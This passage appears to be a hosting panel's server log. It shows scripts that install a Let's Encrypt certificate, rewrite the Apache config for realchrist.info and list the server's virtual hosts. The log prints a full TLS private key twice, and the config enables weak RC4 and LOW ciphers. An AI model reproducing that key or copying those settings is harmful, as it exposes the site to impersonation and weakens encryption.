LCy+Usl+94O0JyNlaqpfqH2qYOGcbVhs1bQcflH1nFa7Y+vzyDsYbfguxb7P6wFA
BNvsrE4JAgMBAAECggEAF1KAzn/ng/sqVaPI7g+/6y5jRnqXRltkIDhi407Qb9PZ
hDeXYZGyjdWcRVq2u+UVEOjzf/lsJEuhOkzcqj1vn39rBbT3YDfUE+UYoC2bRwDP
RS8kgE/CLLEyGHCdWz12tqzyMBsBwPycdPKz6BjDPyjIBnrXJsPp1R/4t+2qK3Jm
iljEIwEhkbBy7UqMuq4Jl0gNXdE/8QSbx+fCAs5bVpi4dokI3Xu7GtglVK1KY1C0
FlpcbvmF2QzVl6Dp02cDSkFLHsQx5q+FSD2JXjBkxt5zRRZNvhzCIL2Wee1B3hZb
cm4b99wbVsmr6aYe4HsDnFSKv9N+qTXw2gq4llrNXQKBgQDokKpHXgOatKk4paLS
4OCnUaV5hx1kOZwYW+DLyQMjrgR7lCC8PxeigEbRrGHQNdFNiawOds6wRYX8yFeI
VUKR4NFCFHdobhaAwQ9Ozt885biVOXSwakh2UgRB14pKP3N9mgwTQi8AdJoBT+Yi
hUI65FQxsL3Y7p0knu9z/59OHwKBgQDHp6cBL9xyaT4wJl+R7z/NAPZEMw49Dvs4
0BAi46PrpZSqkTUKMFs1nIrDSeJ/9TZwiQJQKDOrIFfy/GwGvBy0K5mqFsVtI95Y
9rUDvA7gMUDPkWcdkwLYapvIKCY4PMxcoyrjacFK6j11nIV05n3bSHrkpaMWT/w7
l9TFjOQO1wKBgELR/frPal2y9sQN40CP2Dx62v6V8b3wR4dALtCeisZfo24WW2l6
/0FzdeWcj+YQ8HhEzCjDvhMrhpngvjWvuZbMb5N66ewZZWHNFqbgDYgjwOsvPPXL
M9K7MfnxAgzfOkGmVz3ZUEPjPLSPzmGwxBzDqeU1EPcZaBEzkT1U/uKlAoGBAMJB
r+8qty2mknhczb3677OyDOp8Vo04B1zWq+yWWoZL2+M9V0Lrm8ME5cpvF+7yEh7a
X6LICsWkuY3U5fKDktYGWgOxFjRDovIiUCsrDbo6kdmjmpWe1TTmPV45Gj67gQdd
RrxvyD7wvA2z1fHQ1YHG+rN/Kbfq6Pq+lqoDlF2PAoGACcubPpEZkjTPT1cgT83P
U+WrIbJS81eP7JekKIr0nZksD/Q49QnTmq77o6MqtZwL9Ou3IW3TjKHJ75ZtXKCL
iF6HU4N7TgaSCnZtcxUKivg0Rp1zHVTUpFy0egNtUbQVh4Fe7LbcCth6xI3te+3N
VrVy6b9vX/KK6ACCUID214s=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-04-13 06:00:18: 

chmod 755 /tmp/pkp407805; /tmp/pkp407805; rm /tmp/pkp407805

2026-04-13 06:00:18: 


dir=/etc/ssl/certs


2026-04-13 06:00:18: 

PUT: /tmp/pkp578224

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/realchrist_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-04-13 06:00:18: 

chmod 755 /tmp/pkp578224; /tmp/pkp578224; rm /tmp/pkp578224

2026-04-13 06:00:18: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/realchrist_www_info.conf 43

<VirtualHost *:80>
    ServerName	realchrist.info
    ServerAlias	www.realchrist.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/realchrist_www
    <Directory /var/www/realchrist_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/realchrist/www_access.log combined
    ErrorLog	/var/log/apache2/realchrist/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	realchrist.info
    ServerAlias	www.realchrist.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8df29f43e5e79f1c31041f6ee4962ae9.crt
    DocumentRoot	/var/www/realchrist_www
    <Directory /var/www/realchrist_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/realchrist/www_secure_access.log combined
    ErrorLog	/var/log/apache2/realchrist/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-04-13 06:00:18: 

PUT: /tmp/pkp466523

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=realchrist_www_info.conf
TARGET=/etc/apache2/sites-enabled/realchrist_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	realchrist.info
    ServerAlias	www.realchrist.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/realchrist_www
    <Directory /var/www/realchrist_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/realchrist/www_access.log combined
    ErrorLog	/var/log/apache2/realchrist/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	realchrist.info
    ServerAlias	www.realchrist.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8df29f43e5e79f1c31041f6ee4962ae9.crt
    DocumentRoot	/var/www/realchrist_www
    <Directory /var/www/realchrist_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/realchrist/www_secure_access.log combined
    ErrorLog	/var/log/apache2/realchrist/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/realchrist_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/realchrist_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/realchrist_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/realchrist_www_info.conf= 1'
fi


2026-04-13 06:00:18: 

chmod 755 /tmp/pkp466523; /tmp/pkp466523; rm /tmp/pkp466523

2026-04-13 06:00:18: 




2026-04-13 06:00:18: 

PUT: /tmp/pkp696217

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-04-13 06:00:18: 

chmod 755 /tmp/pkp696217; /tmp/pkp696217; rm /tmp/pkp696217

2026-04-13 06:00:19: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-13 06:00:21: Establishing a connection
2026-04-13 06:00:21: 

PUT: /tmp/pkp252427

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-04-13 06:00:21: 

chmod 755 /tmp/pkp252427; /tmp/pkp252427; rm /tmp/pkp252427

2026-04-13 06:00:21: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
                 alias www.exjw.org.uk
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
                 alias www.persianchurch.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:23)
                 alias www.exjw.org.uk
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
                 alias www.persianchurch.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-13 06:00:21: 

PUT: /tmp/pkp568108

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/realchrist_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-13 06:00:21: 

chmod 755 /tmp/pkp568108; /tmp/pkp568108; rm /tmp/pkp568108

2026-04-13 06:00:21: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/realchrist_www_info.conf	1393

<VirtualHost *:80>
    ServerName	realchrist.info
    ServerAlias	www.realchrist.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/realchrist_www
    <Directory /var/www/realchrist_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/realchrist/www_access.log combined
    ErrorLog	/var/log/apache2/realchrist/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	realchrist.info
    ServerAlias	www.realchrist.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8df29f43e5e79f1c31041f6ee4962ae9.crt
    DocumentRoot	/var/www/realchrist_www
    <Directory /var/www/realchrist_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/realchrist/www_secure_access.log combined
    ErrorLog	/var/log/apache2/realchrist/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-04-13 06:00:21: 

PUT: /tmp/pkp372329

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/8df29f43e5e79f1c31041f6ee4962ae9.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-13 06:00:21: 

chmod 755 /tmp/pkp372329; /tmp/pkp372329; rm /tmp/pkp372329

2026-04-13 06:00:21: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/8df29f43e5e79f1c31041f6ee4962ae9.crt	5377
73:89:b3:fc:08:b9:cd:5e:9c:a7:ae:f7:40:2a:26:c9

-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBrYT48+PqJYNtkf/QAZligt0MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNDEzMDUwMTQ2WhcNMjYwNzEyMDUwMTQ1WjAaMRgwFgYDVQQD
Ew9yZWFsY2hyaXN0LmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQC1YMJ0AcMtvYqUvKsGy4kgbFgAqg02jLpkFR3KxIqbPjnIMqjB+CqEB7gnVvn5
IP1q5xJYrDBqMkrZwZIvRadiPtawYKL8iwVt6jQ6ozzd4zWeMZF3XX1TP5sxYv9b
jjNYDpuhf44kGc4LVgcSdcm91h0UiCU7bCKpv9Xz+1MeflyMv7GYoyjgmcAJRFij
X0FL4kT38uAlGGOwEuSbGt4FUIQF+BmRGIQp62DrC7CEUMjjsvsM6t535vK6uVXI
lIxaQ+XCxn/t7NRdLCy+Usl+94O0JyNlaqpfqH2qYOGcbVhs1bQcflH1nFa7Y+vz
yDsYbfguxb7P6wFABNvsrE4JAgMBAAGjggIzMIICLzAOBgNVHQ8BAf8EBAMCBaAw
EwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUrDwe
v6A+WWhxRACzErCXp+/dRQEwHwYDVR0jBBgwFoAU56ufDywzoFPTXk94yLKEDjvW
kjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEzLmkubGVu
Y3Iub3JnLzAvBgNVHREEKDAmgg9yZWFsY2hyaXN0LmluZm+CE3d3dy5yZWFsY2hy
aXN0LmluZm8wEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgwJjAkoCKgIIYe
aHR0cDovL3IxMy5jLmxlbmNyLm9yZy8xMTcuY3JsMIIBDAYKKwYBBAHWeQIEAgSB
/QSB+gD4AHYAlE5Dh/rswe+B8xkkJqgYZQHH0184AgE/cmd9VTcuGdgAAAGdhW0o
yAAABAMARzBFAiA3o52Ap8zV78KTZEWVKyVV0HXhfpvhwBqkXEMgKeXSzQIhAMXW
pnMPx9cRGXG5FaWtUEXwTKluoo0KIVCH0tAtEuM4AH4AGoudaw/+v4G0eTnG0jEK
htbRAtTwRuIYLJ3jX14mJe8AAAGdhW0sJQAIAAAFAAi7xqsEAwBHMEUCIQCzb3T6
DtayJDM7Rxb2JvfkQRglPcWJxToRU8qPLpXcOgIgD5r97G5DWKygEfcXLz8FjZIE
oGbISkL36mXs7yzXEb4wDQYJKoZIhvcNAQELBQADggEBAC48Wo+S3NMKZJjlST4u
KZuX1N1lwbS6vrrqMNZm5VSQ2ds+3/rpMFv1dg7LXIg9J8IDJroyGFsFbXQT2EXr
qg5w4YhwH+gOnmyNlkt72fzuwRFu7qK0SpwUp6reAYI4JUf/nG4iZNmKmP6SJ1wg
/RAwR3HPtUOBy7mAj0FeSoX4eZ3S2n72DmLPVI6ODp8tjA5eOrJiX/8lUxrjHyCn
TQRO+SjvvbtabVyPJGfaNbM1tzh47qlEoxEQ+nylaceG4XVtqaPqxRA9fXWZaofh
VC9aHVOPMPkhuXn7whnxIq7zGqKIe7D/IYTUnjIIeTQMTUHMqd/zj8EynfzUWrqv
Ri0=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC1YMJ0AcMtvYqU
vKsGy4kgbFgAqg02jLpkFR3KxIqbPjnIMqjB+CqEB7gnVvn5IP1q5xJYrDBqMkrZ
wZIvRadiPtawYKL8iwVt6jQ6ozzd4zWeMZF3XX1TP5sxYv9bjjNYDpuhf44kGc4L
VgcSdcm91h0UiCU7bCKpv9Xz+1MeflyMv7GYoyjgmcAJRFijX0FL4kT38uAlGGOw
EuSbGt4FUIQF+BmRGIQp62DrC7CEUMjjsvsM6t535vK6uVXIlIxaQ+XCxn/t7NRd
LCy+Usl+94O0JyNlaqpfqH2qYOGcbVhs1bQcflH1nFa7Y+vzyDsYbfguxb7P6wFA
BNvsrE4JAgMBAAECggEAF1KAzn/ng/sqVaPI7g+/6y5jRnqXRltkIDhi407Qb9PZ
hDeXYZGyjdWcRVq2u+UVEOjzf/lsJEuhOkzcqj1vn39rBbT3YDfUE+UYoC2bRwDP
RS8kgE/CLLEyGHCdWz12tqzyMBsBwPycdPKz6BjDPyjIBnrXJsPp1R/4t+2qK3Jm
iljEIwEhkbBy7UqMuq4Jl0gNXdE/8QSbx+fCAs5bVpi4dokI3Xu7GtglVK1KY1C0
FlpcbvmF2QzVl6Dp02cDSkFLHsQx5q+FSD2JXjBkxt5zRRZNvhzCIL2Wee1B3hZb
cm4b99wbVsmr6aYe4HsDnFSKv9N+qTXw2gq4llrNXQKBgQDokKpHXgOatKk4paLS
4OCnUaV5hx1kOZwYW+DLyQMjrgR7lCC8PxeigEbRrGHQNdFNiawOds6wRYX8yFeI
VUKR4NFCFHdobhaAwQ9Ozt885biVOXSwakh2UgRB14pKP3N9mgwTQi8AdJoBT+Yi
hUI65FQxsL3Y7p0knu9z/59OHwKBgQDHp6cBL9xyaT4wJl+R7z/NAPZEMw49Dvs4
0BAi46PrpZSqkTUKMFs1nIrDSeJ/9TZwiQJQKDOrIFfy/GwGvBy0K5mqFsVtI95Y
9rUDvA7gMUDPkWcdkwLYapvIKCY4PMxcoyrjacFK6j11nIV05n3bSHrkpaMWT/w7
l9TFjOQO1wKBgELR/frPal2y9sQN40CP2Dx62v6V8b3wR4dALtCeisZfo24WW2l6
/0FzdeWcj+YQ8HhEzCjDvhMrhpngvjWvuZbMb5N66ewZZWHNFqbgDYgjwOsvPPXL
M9K7MfnxAgzfOkGmVz3ZUEPjPLSPzmGwxBzDqeU1EPcZaBEzkT1U/uKlAoGBAMJB
r+8qty2mknhczb3677OyDOp8Vo04B1zWq+yWWoZL2+M9V0Lrm8ME5cpvF+7yEh7a
X6LICsWkuY3U5fKDktYGWgOxFjRDovIiUCsrDbo6kdmjmpWe1TTmPV45Gj67gQdd
RrxvyD7wvA2z1fHQ1YHG+rN/Kbfq6Pq+lqoDlF2PAoGACcubPpEZkjTPT1cgT83P
U+WrIbJS81eP7JekKIr0nZksD/Q49QnTmq77o6MqtZwL9Ou3IW3TjKHJ75ZtXKCL
